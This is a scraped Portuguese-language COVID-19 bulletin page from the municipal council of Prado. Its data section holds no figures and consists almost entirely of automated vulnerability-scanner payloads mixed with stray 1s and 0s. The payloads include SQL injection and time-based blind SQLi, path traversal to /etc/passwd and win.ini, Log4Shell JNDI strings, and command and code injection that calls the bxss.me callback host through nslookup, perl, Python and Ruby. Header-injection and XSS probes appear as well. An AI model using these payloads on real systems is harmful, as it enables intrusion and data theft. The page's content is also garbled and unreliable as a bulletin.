1829

Câmara Municipal de Prado

Pular para o conteúdo
Câmara Municipal de
Prado

Search Covid-19

CORONAVÍRUS

INFORME Epidemiológico

Atualizado em 19/02/2022 02:39:04

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

bcc:009247.25-68525.25.4f843.19041.2@bxss.me

1

1

1

1

1

1

1

1

1

1

to@example.com> bcc:009247.25-68526.25.4f843.19041.2@bxss.me

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

1

1

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

1

1

1 BCC:009247.25-68529.25.4F843.19041.2@BXSS.ME

1

1

1

TO@EXAMPLE.COM> BCC:009247.25-68530.25.4F843.19041.2@BXSS.ME

1

1

1

1

../

0

1

1

1

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../ETC/PASSWD

1

1

1

1

1

../../../../../../../../../../../../../../WINDOWS/WIN.INI

1

1

1

1

12345'"\'\");|]*{ <>�''💡

1

1

1

1

1

../1

1

1

0

1

1

1

${9999757+10000221}

1

1

0

1

1

1

1

1

1

1

1

${9999786+10000065}

0

1

1

1

1

1

1

1

1

1

0

1

1

1

9ga4IqKm

0

1

1

1

1

1

1

1

0

1

1

VHEHJMBE

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitlxnngjfdaaef08d${::-.}bxss.me}zzzz

1

1

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitzmbwcgpednf1b89${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1some_inexistent_file_with_long_name.jpg

1

1

Http://bxss.me/t/fit.txt

1

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.25-68535.25.4f843${::-.}1${::-.}bxss.me}}

1

1

1

1

http://bxss.me/t/fit.txt?.jpg

1

1

1

1

response.write(9182724*9528262)

1

1

bxss.me

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

1

1

1

1

1

1

1

'+response.write(9182724*9528262)+'

1

1

1

1

1

1

"+response.write(9182724*9528262)+"

1

${J${::-N}DI:DNS${::-:}//HITMGHASMWVZC8F388${::-.}BXSS.ME}ZZZZ

1

1

1

�💡'"><&;|${${LOWER:J}${::-N}D${UPPER:I}:DNS${::-:}//HITIGIKMVIWZGA0E80${::-.}BXSS.ME}AAAAAAAAAAAA

1

/../../../../../../../../../../WINDOWS/SYSTEM32/BITSADMIN.EXE

1

1

1

${${:::::::::::::::::-J}NDI:DNS${:::::::::::::::::-:}//DNS.LOG4J.009247.25-68537.25.4F843${::-.}1${:

0

1

1

1

1

1

0

1

0

1

1

1

1

1

0

1

1

1

1

RESPONSE.WRITE(9929503*9190548)

1

1

1

'+RESPONSE.WRITE(9929503*9190548)+'

1

"+RESPONSE.WRITE(9929503*9190548)+"

0

1

1

1

0

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

HTTP://SOME-INEXISTENT-WEBSITE.ACU/SOME_INEXISTENT_FILE_WITH_LONG_NAME?.JPG

1

1

1

1

1

1SOME_INEXISTENT_FILE_WITH_LONG_NAME.JPG

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hitzn'.'wtmhzclcbe6b6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(78).chr(108).chr(70).'

1

1

1

1

".gethostbyname(lc("hitdw"."kxssartz2c1e2.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(87).chr(121).chr(70)."

1

1

1

1

1

HTTP://BXSS.ME/T/FIT.TXT

1

1

1

HTTP://BXSS.ME/T/FIT.TXT?.JPG

1

1

1

1

1

1

1

BXSS.ME

1

'.GETHOSTBYNAME(LC('HITGK'.'RVBDQCNM03EAD.BXSS.ME.')).'A'.CHR(67).CHR(HEX('58')).CHR(100).CHR(86).CH

1

1

1

".GETHOSTBYNAME(LC("HITAU"."OZBYPQJED7016.BXSS.ME."))."A".CHR(67).CHR(HEX("58")).CHR(108).CHR(73).CH

0

1

1

1

0

1

1

1

1

1

0

1

1

1

0

1

1

1

0

1

1

1

1

1

1

1

echo bdisek$()\ eenqzs\nz^xyu||a #' &echo bdisek$()\ eenqzs\nz^xyu||a #|" &echo bdisek$()\ eenqzs\nz^xyu||a #

1

1

&echo wxgtwo$()\ jjfhgf\nz^xyu||a #' &echo wxgtwo$()\ jjfhgf\nz^xyu||a #|" &echo wxgtwo$()\ jjfhgf\nz^xyu||a #

1

1

1

1

1

1

1

1

|echo nagiyz$()\ wijnqm\nz^xyu||a #' |echo nagiyz$()\ wijnqm\nz^xyu||a #|" |echo nagiyz$()\ wijnqm\nz^xyu||a #

1

1

(nslookup hitwqlujeocyy364f0.bxss.me||perl -e "gethostbyname('hitwqlujeocyy364f0.bxss.me')")

1

1

$(nslookup hitsfqxlehvfo63ab3.bxss.me||perl -e "gethostbyname('hitsfqxlehvfo63ab3.bxss.me')")

1

1

1

1

1

1

&(nslookup hitxsttswbsed17ee0.bxss.me||perl -e "gethostbyname('hitxsttswbsed17ee0.bxss.me')")&'\"`0&(nslookup hitxsttswbsed17ee0.bxss.me||perl -e "gethostbyname('hitxsttswbsed17ee0.bxss.me')")&`'

1

1

&n942284=v909011

1

1

|(nslookup hitwrdmxxvbfw87da0.bxss.me||perl -e "gethostbyname('hitwrdmxxvbfw87da0.bxss.me')")

1

1

0

1

1

1

1

1

`(nslookup hitsfxypvdayra595f.bxss.me||perl -e "gethostbyname('hitsfxypvdayra595f.bxss.me')")`

0

1

1

1

1

1

1

1

1

1

1

1

)

1

1

1

1

!(()&&!|*|*|

1

1

1

1

^(#$!@#$)(()))******

1

1

;(nslookup hitbzssoyufce16b23.bxss.me||perl -e "gethostbyname('hitbzssoyufce16b23.bxss.me')")|(nslookup hitbzssoyufce16b23.bxss.me||perl -e "gethostbyname('hitbzssoyufce16b23.bxss.me')")&(nslookup hitbzssoyufce16b23.bxss.me||perl -e "gethostbyname('hitbzssoyufce16b23.bxss.me')")

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

)

1

1

1

1

1

!(()&&!|*|*|

1

1

1

^(#$!@#$)(()))******

1

1

1

1

0

1

1

1

1

1

0

1

1

1

1

1

'"()

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

ECHO PBGXIQ$()\ AFWOUA\NZ^XYU||A #' &ECHO PBGXIQ$()\ AFWOUA\NZ^XYU||A #|" &ECHO PBGXIQ$()\ AFWOUA\NZ

1

&ECHO GUTICS$()\ QXAMID\NZ^XYU||A #' &ECHO GUTICS$()\ QXAMID\NZ^XYU||A #|" &ECHO GUTICS$()\ QXAMID\N

1

1

1

1

1

1

1

1

1

|ECHO OQKNFF$()\ XBUWOQ\NZ^XYU||A #' |ECHO OQKNFF$()\ XBUWOQ\NZ^XYU||A #|" |ECHO OQKNFF$()\ XBUWOQ\N

1

'"()

1

1

1

1&N998014=V903447

1

(NSLOOKUP HITXTRVAIAGXD46ACB.BXSS.ME||PERL -E "GETHOSTBYNAME('HITXTRVAIAGXD46ACB.BXSS.ME')")

1

1

1

$(NSLOOKUP HITPTZQQPFWKQ95224.BXSS.ME||PERL -E "GETHOSTBYNAME('HITPTZQQPFWKQ95224.BXSS.ME')")

1

&(NSLOOKUP HITAGKFDERMSZ544FF.BXSS.ME||PERL -E "GETHOSTBYNAME('HITAGKFDERMSZ544FF.BXSS.ME')")&'\"`0&

1

1

0

1

0

1

1

1

1

1

0

1

1

1

1

|(NSLOOKUP HITYVZYTGEFGP36E66.BXSS.ME||PERL -E "GETHOSTBYNAME('HITYVZYTGEFGP36E66.BXSS.ME')")

1

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

';print(md5(31337));$a='

1

`(NSLOOKUP HITMWRRLNQSZT0A8A4.BXSS.ME||PERL -E "GETHOSTBYNAME('HITMWRRLNQSZT0A8A4.BXSS.ME')")`

1

;(NSLOOKUP HITSXXYTFSNMT14C97.BXSS.ME||PERL -E "GETHOSTBYNAME('HITSXXYTFSNMT14C97.BXSS.ME')")|(NSLOO

1

1

";print(md5(31337));$a="

1

1

0

1

1

1

0

1

1

1

0

1

1

1

${@print(md5(31337))}

0

1

1

1

${@print(md5(31337))}\

1

1

1

1

http://hituodrmpksgx.bxss.me/

1

1

1

1

'.print(md5(31337)).'

1

1

1

1

1

1

0

1

1

1

0

1

1

1

1

HTTP://HITJXFBSMEHGJ.BXSS.ME/

1

1

Create

1

1

Create

0

1

0

1

1

1

Create/.

1

1

1

1

1

1

1

1

1

1

0

1

1

1

1

1

1

1

0

1

1

;ASSERT(BASE64_DECODE('CHJPBNQOBWQ1KDMXMZM3KSK7'));

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

';PRINT(MD5(31337));$A='

1

1

1

";PRINT(MD5(31337));$A="

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

0

1

1

1

1

1

1

1

1

${@PRINT(MD5(31337))}

1

1

1

CREATE

1

1

1

${@PRINT(MD5(31337))}\

1

CREATE

1

'.PRINT(MD5(31337)).'

1

1

1

CREATE/.

0

1

1

1

/xfs.bxss.me

1

1

'"

0

1

0

1

1

1

0

1

1

/XFS.BXSS.ME

1

1

0

1

1

1

0

1

0

1

0

1

1

'"

0

1

1

1

0

1

1

1

0

1

1

1

1

1

1

1

ctime sleep p0 (I30 tp1 Rp2 .

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(103).concat(81).concat(112).concat(74)+(require"socket" Socket.gethostbyname("hitfp"+"evkgkkkfb4983.bxss.me.")[3].to_s)+"

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(99).concat(71).concat(105).concat(79)+(require'socket' Socket.gethostbyname('hitla'+'zfmkaxrc6ff4e.bxss.me.')[3].to_s)+'

1

1

1

1

1

1

1

1

1

1

1

1

HttP://bxss.me/t/xss.html?%00

1

1

1

1

1

1

1

1

bxss.me/t/xss.html?%00

1

1

1

"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(100).CONCAT(85).CONCAT(112).CONCAT(86)+(REQUIRE"SOCKET" SOCKE

1

1

1

'+'A'.CONCAT(70-3).CONCAT(22*4).CONCAT(110).CONCAT(87).CONCAT(107).CONCAT(82)+(REQUIRE'SOCKET' SOCKE

1

1

9602291

1

1

0

1

1

1

1DeDNmsv3eO

1

1

1

12ABZNPHCO

0

1

0

1

1

HTTP://BXSS.ME/T/XSS.HTML?%00

1

BXSS.ME/T/XSS.HTML?%00

1

1

1

1

1

1

1

19612211

1

1

0

1

1

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitatovuwvkln12d54.'+'bxss.me')

0

1

1

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitatovuwvkln12d54."+"bxss.me")+'

1

1

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitatovuwvkln12d54.'+'bxss.me')+"

1

1

1

1

1

1

19929107

1

1

1

1

STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITIGGIDTNBVQ4C89A.'+'BXSS.ME')

1

1

1

'+STR(__IMPORT__("TIME").SLEEP(9))+__IMPORT__("SOCKET").GETHOSTBYNAME("HITIGGIDTNBVQ4C89A."+"BXSS.ME

1

"+STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITIGGIDTNBVQ4C89A.'+'BXSS.ME

0

1

0

1

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

KTUiCif2

1

1

-1 OR 2+405-405-1=0+0+0+1 --

1

1

-1 OR 2+151-151-1=0+0+0+1

1

1

-1' OR 2+992-992-1=0+0+0+1 --

1

1

-1' OR 2+741-741-1=0+0+0+1 or 'wwOuyNWl'='

1

1

-1" OR 2+27-27-1=0+0+0+1 --

1

1

if(now()=sysdate(),sleep(15),0)

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

1

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

-1; waitfor delay '0:0:15' --

1

1

1

1

1

1

1

1

1

1

12345'"\'\");|]*{ <>�''💡

1

1

-1); waitfor delay '0:0:15' --

1

1

0

1

1

1

0

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

1

1

../../../../../../../../../../../../../../windows/win.ini

1

1

1

1

1

1

1

1

1

1

1

1

${10000204+10000269}

1

${9999774+9999041}

0

1

1

1

1

1

1

1

1

1

1

1

-1)); waitfor delay '0:0:15' --

1

1

1

1

1

1

1

1

1

1

1

1

bcc:009247.25-68810.25.4f843.19041.2@bxss.me

1

1

1

1

1 waitfor delay '0:0:15' --

1

1

1

1

to@example.com> bcc:009247.25-68812.25.4f843.19041.2@bxss.me

1

1 BCC:009247.25-68813.25.4F843.19041.2@BXSS.ME

1

1

1

1

../

1

TO@EXAMPLE.COM> BCC:009247.25-68814.25.4F843.19041.2@BXSS.ME

1

1

1

../../../../../../../../../../../../../../ETC/PASSWD

1

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

1

1

1

1some_inexistent_file_with_long_name.jpg

1

1

Http://bxss.me/t/fit.txt

0

1

1

1

http://bxss.me/t/fit.txt?.jpg

0

1

1

1

1

1

1

../../../../../../../../../../../../../../WINDOWS/WIN.INI

1

1

bxss.me

1

HTTP://SOME-INEXISTENT-WEBSITE.ACU/SOME_INEXISTENT_FILE_WITH_LONG_NAME?.JPG

1

1

tOCW6MbG'; waitfor delay '0:0:15' --

1

1SOME_INEXISTENT_FILE_WITH_LONG_NAME.JPG

1

1

v6U8FlyH

1

1

1

HTTP://BXSS.ME/T/FIT.TXT

1

HTTP://BXSS.ME/T/FIT.TXT?.JPG

1

../1

1

Z5LZET3T

0

1

0

1

1

1

1

1

0

1

1

1

0

1

1

1

eLmbmDbi'); waitfor delay '0:0:15' --

1

1

1

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

/../../../../../../../../../../WINDOWS/SYSTEM32/BITSADMIN.EXE

1

BXSS.ME

0

1

1

1

0

1

1

1

1

1

1

1

1

1

OrRJtB0T')); waitfor delay '0:0:15' --

0

1

1

1

1

1

0

1

0

1

1

1

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

${j${::-n}di:dns${::-:}//hitgwpzhcyypy4af60${::-.}bxss.me}zzzz

1

1

-5 OR 563=(SELECT 563 FROM PG_SLEEP(15))--

1

1

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitovglmhzqsn80a31${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1

1

response.write(9274869*9693780)

1

1

1

1

'+response.write(9274869*9693780)+'

1

1

"+response.write(9274869*9693780)+"

1

1

-5) OR 541=(SELECT 541 FROM PG_SLEEP(15))--

1

RESPONSE.WRITE(9400529*9241305)

1

1

1

1

-1)) OR 473=(SELECT 473 FROM PG_SLEEP(15))--

1

1

1

1

1

'+RESPONSE.WRITE(9400529*9241305)+'

1

"+RESPONSE.WRITE(9400529*9241305)+"

0

1

1

1

1

1

1

1

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.25-68824.25.4f843${::-.}1${::-.}bxss.me}}

0

1

1

1

0

1

1

${J${::-N}DI:DNS${::-:}//HITINXMIAVFXA2835C${::-.}BXSS.ME}ZZZZ

1

1

1

1

1

1

1

1

NEvjZspj' OR 713=(SELECT 713 FROM PG_SLEEP(15))--

1

1

1

1

1

1

1

�💡'"><&;|${${LOWER:J}${::-N}D${UPPER:I}:DNS${::-:}//HITOPYXUYZMSO59B48${::-.}BXSS.ME}AAAAAAAAAAAA

1

1

'.gethostbyname(lc('hitmp'.'czzawabl4d689.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(65).chr(109).chr(85).'

1

${${:::::::::::::::::-J}NDI:DNS${:::::::::::::::::-:}//DNS.LOG4J.009247.25-68825.25.4F843${::-.}1${:

1

1

".gethostbyname(lc("hituh"."ewtorvye15456.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(90).chr(121).chr(86)."

1

1

1

1

1

1

1

'.GETHOSTBYNAME(LC('HITFR'.'WIEAVDSQ84AC7.BXSS.ME.')).'A'.CHR(67).CHR(HEX('58')).CHR(120).CHR(81).CH

0

1

1

1

0

1

1

".GETHOSTBYNAME(LC("HITOR"."PUVCTSKE7A8FC.BXSS.ME."))."A".CHR(67).CHR(HEX("58")).CHR(118).CHR(67).CH

1

1

0

1

0

1

1

1

U3fIGEAh') OR 42=(SELECT 42 FROM PG_SLEEP(15))--

1

1

0

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

&n967094=v944305

1

1

1

1

)

1

1

1

1

echo mdkwfl$()\ qvzszx\nz^xyu||a #' &echo mdkwfl$()\ qvzszx\nz^xyu||a #|" &echo mdkwfl$()\ qvzszx\nz^xyu||a #

1

1

&echo nemdru$()\ yarpvz\nz^xyu||a #' &echo nemdru$()\ yarpvz\nz^xyu||a #|" &echo nemdru$()\ yarpvz\nz^xyu||a #

1

1&N982811=V913185

1

1

|echo revppo$()\ ktjtbq\nz^xyu||a #' |echo revppo$()\ ktjtbq\nz^xyu||a #|" |echo revppo$()\ ktjtbq\nz^xyu||a #

1

1

(nslookup hitgpsfbinxtb73297.bxss.me||perl -e "gethostbyname('hitgpsfbinxtb73297.bxss.me')")

1

1

1

1

!(()&&!|*|*|

0

1

1

1

^(#$!@#$)(()))******

1

1

L8cga6ZH')) OR 349=(SELECT 349 FROM PG_SLEEP(15))--

1

)

1

!(()&&!|*|*|

1

^(#$!@#$)(()))******

1

1

$(nslookup hitglqhkfpbct15b69.bxss.me||perl -e "gethostbyname('hitglqhkfpbct15b69.bxss.me')")

0

1

0

1

1

1

&(nslookup hitpiulqihxot287f2.bxss.me||perl -e "gethostbyname('hitpiulqihxot287f2.bxss.me')")&'\"`0&(nslookup hitpiulqihxot287f2.bxss.me||perl -e "gethostbyname('hitpiulqihxot287f2.bxss.me')")&`'

1

1

0

1

1

1

1

1

1

1

1

1

1

1

|(nslookup hitpuqixafifv3729e.bxss.me||perl -e "gethostbyname('hitpuqixafifv3729e.bxss.me')")

1

1

1

1

`(nslookup hitwrewoaptmq7a033.bxss.me||perl -e "gethostbyname('hitwrewoaptmq7a033.bxss.me')")`

1

1

1

1

;(nslookup hithvdkqejitia2fbf.bxss.me||perl -e "gethostbyname('hithvdkqejitia2fbf.bxss.me')")|(nslookup hithvdkqejitia2fbf.bxss.me||perl -e "gethostbyname('hithvdkqejitia2fbf.bxss.me')")&(nslookup hithvdkqejitia2fbf.bxss.me||perl -e "gethostbyname('hithvdkqejitia2fbf.bxss.me')")

1

1

1

ECHO UCGHAG$()\ MSUVLN\NZ^XYU||A #' &ECHO UCGHAG$()\ MSUVLN\NZ^XYU||A #|" &ECHO UCGHAG$()\ MSUVLN\NZ

1

1

1

&ECHO ANIXWO$()\ OOGTRX\NZ^XYU||A #' &ECHO ANIXWO$()\ OOGTRX\NZ^XYU||A #|" &ECHO ANIXWO$()\ OOGTRX\N

1

1

1

1

1

1

'"()

1

|ECHO PNKHKW$()\ BTASPK\NZ^XYU||A #' |ECHO PNKHKW$()\ BTASPK\NZ^XYU||A #|" |ECHO PNKHKW$()\ BTASPK\N

1

(NSLOOKUP HITDJHZRNAWCL6675D.BXSS.ME||PERL -E "GETHOSTBYNAME('HITDJHZRNAWCL6675D.BXSS.ME')")

1

1

1

'"()

0

1

1

1

0

1

1

1

1

1

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

$(NSLOOKUP HITJUUJXZYLEJE4A27.BXSS.ME||PERL -E "GETHOSTBYNAME('HITJUUJXZYLEJE4A27.BXSS.ME')")

1

1

1

&(NSLOOKUP HITBQXANMZNEZCF9E9.BXSS.ME||PERL -E "GETHOSTBYNAME('HITBQXANMZNEZCF9E9.BXSS.ME')")&'\"`0&

1

1

1

1

1

|(NSLOOKUP HITKHWANVRPVAF0853.BXSS.ME||PERL -E "GETHOSTBYNAME('HITKHWANVRPVAF0853.BXSS.ME')")

1

1

http://hitlvxdwanwrz.bxss.me/

1

1

1

`(NSLOOKUP HITIELWYBTDVM5F313.BXSS.ME||PERL -E "GETHOSTBYNAME('HITIELWYBTDVM5F313.BXSS.ME')")`

1

1

1

;(NSLOOKUP HITLRTWRTTHZH9F4C2.BXSS.ME||PERL -E "GETHOSTBYNAME('HITLRTWRTTHZH9F4C2.BXSS.ME')")|(NSLOO

1

HTTP://HITJXFJFIUGCP.BXSS.ME/

1

1

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1'"

1

1

1

1

1����%2527%2522

0

1

1

1

1

1

@@0RNKS

0

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

1

1

';print(md5(31337));$a='

1

1

";print(md5(31337));$a="

0

1

0

1

1

1

${@print(md5(31337))}

0

1

0

1

1

1

${@print(md5(31337))}\

1

1

'.print(md5(31337)).'

0

1

1

;ASSERT(BASE64_DECODE('CHJPBNQOBWQ1KDMXMZM3KSK7'));

1

1

1

';PRINT(MD5(31337));$A='

1

1

0

1

1

";PRINT(MD5(31337));$A="

1

1

1

1

1

1

1

${@PRINT(MD5(31337))}

1

1

1

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

1

1

1

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

${@PRINT(MD5(31337))}\

1

1

1

1

0

1

1

1

1

1

/xfs.bxss.me

1

1

Create

0

1

1

/XFS.BXSS.ME

1

1

Create

1

1

0

1

1

1

0

1

1

'.PRINT(MD5(31337)).'

1

1

Create/.

1

1

1

1

1

1

1

1

1

CREATE

1

CREATE

1

1

0

1

1

CREATE/.

1

1

1

1

'"

0

1

0

1

1

1

1

1

0

1

0

1

0

1

1

1

1

1

ctime sleep p0 (I30 tp1 Rp2 .

1

'"

0

1

1

1

1

1

1

1

0

1

1

1

1

1

1

1

1

1

0

1

0

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(100).concat(77).concat(101).concat(79)+(require"socket" Socket.gethostbyname("hitje"+"kjhpbmlr41934.bxss.me.")[3].to_s)+"

1

1

1

1

1

1

'+'A'.concat(70-3).concat(22*4).concat(110).concat(87).concat(98).concat(79)+(require'socket' Socket.gethostbyname('hitnn'+'hgiehmwef7e09.bxss.me.')[3].to_s)+'

1

1

1

1

1

1

1

1

1

1

1

"+"A".CONCAT(70-3).CONCAT(22*4).CONCAT(105).CONCAT(90).CONCAT(119).CONCAT(70)+(REQUIRE"SOCKET" SOCKE

1

1

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitkcbpcimvjk07572.'+'bxss.me')

1

1

1

1

1

1

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitkcbpcimvjk07572."+"bxss.me")+'

1

1

1

1

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitkcbpcimvjk07572.'+'bxss.me')+"

1

1

1

STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITSSZDVFLARKE14F4.'+'BXSS.ME')

1

1

1

'+'A'.CONCAT(70-3).CONCAT(22*4).CONCAT(114).CONCAT(80).CONCAT(122).CONCAT(76)+(REQUIRE'SOCKET' SOCKE

1

'+STR(__IMPORT__("TIME").SLEEP(9))+__IMPORT__("SOCKET").GETHOSTBYNAME("HITSSZDVFLARKE14F4."+"BXSS.ME

1

1

HttP://bxss.me/t/xss.html?%00

1

1

bxss.me/t/xss.html?%00

0

1

1

HTTP://BXSS.ME/T/XSS.HTML?%00

1

1

0

1

1

"+STR(__IMPORT__('TIME').SLEEP(9))+__IMPORT__('SOCKET').GETHOSTBYNAME('HITSSZDVFLARKE14F4.'+'BXSS.ME

1

1

9298639

1

1

1

BXSS.ME/T/XSS.HTML?%00

0

1

0

1

1

1

0

1

0

1

1

1

0

1

1

19805722

19085006

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

PCGRUVUI

1

-1 OR 2+696-696-1=0+0+0+1 --

1

-1 OR 2+707-707-1=0+0+0+1

1

1

1

-1' OR 2+453-453-1=0+0+0+1 --

1

-1' OR 2+187-187-1=0+0+0+1 OR 'AN4HP7RL'='

1

-1" OR 2+138-138-1=0+0+0+1 --

1

1

1

IF(NOW()=SYSDATE(),SLEEP(15),0)

1

1

TdFWg0ym

1

1

-1 OR 2+49-49-1=0+0+0+1 --

1

1

-1 OR 2+111-111-1=0+0+0+1

1

1

-1' OR 2+489-489-1=0+0+0+1 --

1

1

-1' OR 2+691-691-1=0+0+0+1 or 'I59uH0MZ'='

1

1

-1" OR 2+303-303-1=0+0+0+1 --

1

0'XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR'Z

1

1

if(now()=sysdate(),sleep(15),0)

1

0"XOR(IF(NOW()=SYSDATE(),SLEEP(15),0))XOR"Z

1

1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1

(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(

1

1

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1

-1; WAITFOR DELAY '0:0:15' --

1

1

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

-1); WAITFOR DELAY '0:0:15' --

1

1

-1; waitfor delay '0:0:15' --

1

-1)); WAITFOR DELAY '0:0:15' --

1

1

-1); waitfor delay '0:0:15' --

1

1 WAITFOR DELAY '0:0:15' --

1

1

-1)); waitfor delay '0:0:15' --

1

U7UMHA7E'; WAITFOR DELAY '0:0:15' --

1

1

1 waitfor delay '0:0:15' --

1

MLHJ0LHO'); WAITFOR DELAY '0:0:15' --

1

1

pLJ73Q6h'; waitfor delay '0:0:15' --

1

MBU1JGCL')); WAITFOR DELAY '0:0:15' --

1

1

JNaj9v9z'); waitfor delay '0:0:15' --

1

-5 OR 37=(SELECT 37 FROM PG_SLEEP(15))--

1

1

049rvGkP')); waitfor delay '0:0:15' --

1

-5) OR 283=(SELECT 283 FROM PG_SLEEP(15))--

1

1

-5 OR 767=(SELECT 767 FROM PG_SLEEP(15))--

1

-1)) OR 214=(SELECT 214 FROM PG_SLEEP(15))--

1

1

-5) OR 794=(SELECT 794 FROM PG_SLEEP(15))--

1

4VAF8Z5X' OR 880=(SELECT 880 FROM PG_SLEEP(15))--

1

1

-1)) OR 90=(SELECT 90 FROM PG_SLEEP(15))--

1

ZKI6194D') OR 646=(SELECT 646 FROM PG_SLEEP(15))--

1

1

Jf6o934P' OR 743=(SELECT 743 FROM PG_SLEEP(15))--

1

IJF8V8HA')) OR 145=(SELECT 145 FROM PG_SLEEP(15))--

1

1

V8XcaKjK') OR 766=(SELECT 766 FROM PG_SLEEP(15))--

1

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

SVnrvaeZ')) OR 859=(SELECT 859 FROM PG_SLEEP(15))--

1

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1'"

1

1����%2527%2522

1

1

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1

1

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1

1

1'"

1

1

1����%2527%2522

1

@@K8JQB

1

1

@@IJOaM

1

1

1

1

1

1

1

1

0

1

1

HBKAE0WF

1

-1 OR 2+532-532-1=0+0+0+1 --

1

-1 OR 2+368-368-1=0+0+0+1

0

1

0

1

1

-1' OR 2+571-571-1=0+0+0+1 --

0

1

0

1

1

-1' OR 2+134-134-1=0+0+0+1 OR 'SVAENTKY'='

0

1

1

-1" OR 2+592-592-1=0+0+0+1 --

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

../../../../../../../../../../../../../../etc/passwd

0

1

1

1

1

1

